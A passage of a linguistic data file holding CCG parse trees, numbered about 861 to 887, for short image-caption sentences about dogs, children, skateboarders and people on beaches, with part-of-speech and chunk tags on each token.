t(n, 'rollerbladers', 'rollerblader', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'lining', 'line', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'up', 'up', 'RP', 'I-PRT', 'O')),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'road', 'road', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(861,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'skateboarder', 'skateboarder', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
bxc((s:ng\np)/np,
t((s:ng\np)/np, 'jumping', 'jump', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'off', 'off', 'RP', 'I-PRT', 'O')),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'ramp', 'ramp', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(862,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'skateboarder', 'skateboarder', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'making', 'make', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'jump', 'jump', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'off', 'off', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'ramp', 'ramp', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(863,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
ba(n/n,
t(n/n, 'black', 'black', 'JJ', 'I-NP', 'O'),
conj((n/n)\(n/n), n/n,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
t(n/n, 'orange', 'orange', 'JJ', 'I-NP', 'O'))),
t(n, 'bird', 'bird', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'grass', 'grass', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(864,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'black', 'black', 'JJ', 'I-NP', 'O'),
t(n, 'bird', 'bird', 'NN', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'yellow', 'yellow', 'JJ', 'I-NP', 'O'),
t(n, 'beak', 'beak', 'NN', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'green', 'green', 'JJ', 'I-NP', 'O'),
t(n, 'grass', 'grass', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(865,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Two', 'two', 'CD', 'I-NP', 'O'),
fa(n,
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'),
t(n, 'dogs', 'dog', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
bxc((s:dcl\np)/(s:ng\np),
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
t((s:dcl\np)\(s:dcl\np), 'quickly', 'quickly', 'RB', 'I-VP', 'O')),
ba(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'together', 'together', 'RB', 'I-ADVP', 'O')))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(866,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Two', 'two', 'CD', 'I-NP', 'O'),
fa(n,
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'),
t(n, 'dogs', 'dog', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:adj\np), 'running', 'run', 'VBG', 'I-VP', 'O'),
t(s:adj\np, 'together', 'together', 'RB', 'I-ADVP', 'O')))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(867,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'group', 'group', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'people', 'people', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'around', 'around', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'sound', 'sound', 'NN', 'I-NP', 'O'),
fa(n,
t(n/n, 'mixing', 'mix', 'VBG', 'I-VP', 'O'),
t(n, 'table', 'table', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(868,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'Some', 'some', 'DT', 'I-NP', 'O'),
t(n, 'people', 'people', 'NNS', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/pp, 'looking', 'look', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'at', 'at', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'sound', 'sound', 'JJ', 'I-NP', 'O'),
t(n, 'equipment', 'equipment', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(869,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'skipping', 'skip', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'rope', 'rope', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'sidewalk', 'sidewalk', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(870,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'skipping', 'skip', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'rope', 'rope', 'NN', 'I-NP', 'O'))),
t((s:ng\np)\(s:ng\np), 'on', 'on', 'IN', 'I-PP', 'O')),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'near', 'near', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'street', 'street', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(871,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'jumping', 'jump', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'rope', 'rope', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'sidewalk', 'sidewalk', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'near', 'near', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'parking', 'parking', 'NN', 'I-NP', 'O'),
t(n, 'garage', 'garage', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(872,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'skipping', 'skip', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'rope', 'rope', 'NN', 'I-NP', 'O'))),
t((s:ng\np)\(s:ng\np), 'on', 'on', 'IN', 'I-PP', 'O')),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'near', 'near', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'street', 'street', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(873,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'swimming', 'swim', 'VBG', 'I-NP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'body', 'body', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'water', 'water', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(874,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'An', 'an', 'DT', 'I-NP', 'O'),
t(n, 'animal', 'animal', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'swimming', 'swim', 'VBG', 'I-NP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'body', 'body', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'water', 'water', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(875,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/pp, 'leaning', 'lean', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'on', 'on', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'ledge', 'ledge', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'balcony', 'balcony', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(876,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/pp, 'leaning', 'lean', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'on', 'on', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'ledge', 'ledge', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'balcony', 'balcony', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(877,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'small', 'small', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'across', 'across', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'lawn', 'lawn', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(878,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'big', 'big', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'running', 'run', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'across', 'across', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'lawn', 'lawn', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(879,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/pp, 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'leash', 'leash', 'NN', 'I-NP', 'O')))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'walking', 'walk', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'near', 'near', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'water', 'water', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(880,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'black', 'black', 'JJ', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'leash', 'leash', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'walking', 'walk', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'water', 'water', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(881,
rp(s:dcl,
ba(s:dcl,
ba(s:dcl,
ba(np,
lx(np, n,
fa(n,
t(n/n, 'One', 'one', 'CD', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'orange', 'orange', 'NN', 'I-NP', 'O'),
t(n, 'shorts', 'shorts', 'NNS', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'rock', 'rock', 'NN', 'I-NP', 'O'),
t(n, 'cliff', 'cliff', 'NN', 'I-NP', 'O'))))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'over', 'over', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'water', 'water', 'NN', 'I-NP', 'O')))))),
conj(s:dcl\s:dcl, s:dcl,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'other', 'other', 'JJ', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'black', 'black', 'JJ', 'I-NP', 'O'),
t(n, 'shorts', 'shorts', 'NNS', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/pp, 'jumping', 'jump', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'of', 'of', 'IN', 'I-PP', 'O'),
t(np, 'it', 'it', 'PRP', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'into', 'into', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'water', 'water', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(882,
rp(s:dcl,
ba(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'Two', 'two', 'CD', 'I-NP', 'O'),
t(n, 'males', 'male', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'cliff', 'cliff', 'NN', 'I-NP', 'O'),
t(n, 'edge', 'edge', 'NN', 'I-NP', 'O'))))))),
conj(s:dcl\s:dcl, s:dcl,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(s:dcl,
lx(np, n,
t(n, 'one', 'one', 'CD', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'jumping', 'jump', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'into', 'into', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'water', 'water', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(883,
rp(s:dcl,
ba(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'small', 'small', 'JJ', 'I-NP', 'O'),
t(n, 'group', 'group', 'NN', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'people', 'people', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
t(s:ng\np, 'standing', 'stand', 'VBG', 'I-VP', 'O'))),
conj(s:dcl\s:dcl, s:dcl,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
ba(s:dcl,
lx(np, n,
t(n, 'two', 'two', 'CD', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'sitting', 'sit', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'sofa', 'sofa', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(884,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'group', 'group', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'five', 'five', 'CD', 'I-NP', 'O'),
fa(n,
t(n/n, 'young', 'young', 'JJ', 'I-NP', 'O'),
t(n, 'adults', 'adult', 'NNS', 'I-NP', 'O')))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'lounging', 'lounge', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'indoors', 'indoor', 'NNS', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(885,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'young', 'young', 'JJ', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'bikini', 'bikini', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'jumping', 'jump', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'beach', 'beach', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(886,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'young', 'young', 'JJ', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'swimming', 'swimming', 'NN', 'I-NP', 'O'),
t(n, 'suite', 'suite', 'NN', 'I-NP', 'O'))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'jumping', 'jump', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'beach', 'beach', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(887,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'blond', 'blond', 'JJ', 'I-NP', 'O'),
t(n, 'child', 'child', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
bxc((s:ng\np)/np,
t((s:ng\np)/np, 'going', 'go', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'down', 'down', 'RP', 'I-PRT', 'O')),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'slide', 'slide', 'NN', 'I-NP', 'O'))),
conj((s:ng\np)\(s:ng\np), s:ng\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:ng\np,
bxc((s:ng\np)/np,
t((s:ng\np)/np, 'throwing', 'throw', 'VBG', 'I-VP', 'O'),
